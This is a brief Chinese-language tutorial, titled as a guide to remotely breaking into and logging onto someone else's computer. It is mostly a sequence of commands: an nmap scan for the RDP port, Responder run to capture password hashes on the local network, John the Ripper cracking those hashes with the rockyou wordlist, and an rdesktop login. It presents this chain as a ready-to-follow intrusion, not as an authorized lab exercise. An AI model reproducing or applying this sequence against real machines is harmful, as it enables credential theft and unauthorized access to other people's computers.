远程渗透登陆他人电脑

• 查看远程电脑IP

ipconfig

• 扫描远程主机开放的端口(查看3389端口是否开放)

nmap -Pn *.*.*.*(IP)

• 执行渗透操作

responder -I eth0 -wv

• 稍等片刻终端上会显示用户名与密码（hash）
• 利用john进行密码的破解，进入如下目录进行查看：/usr/share/responer/logs。

john HTTP-*.txt --wordlist=/usr/share/wordlists/rockyou.txt

• 登陆远程主机

rdesktop -u kail *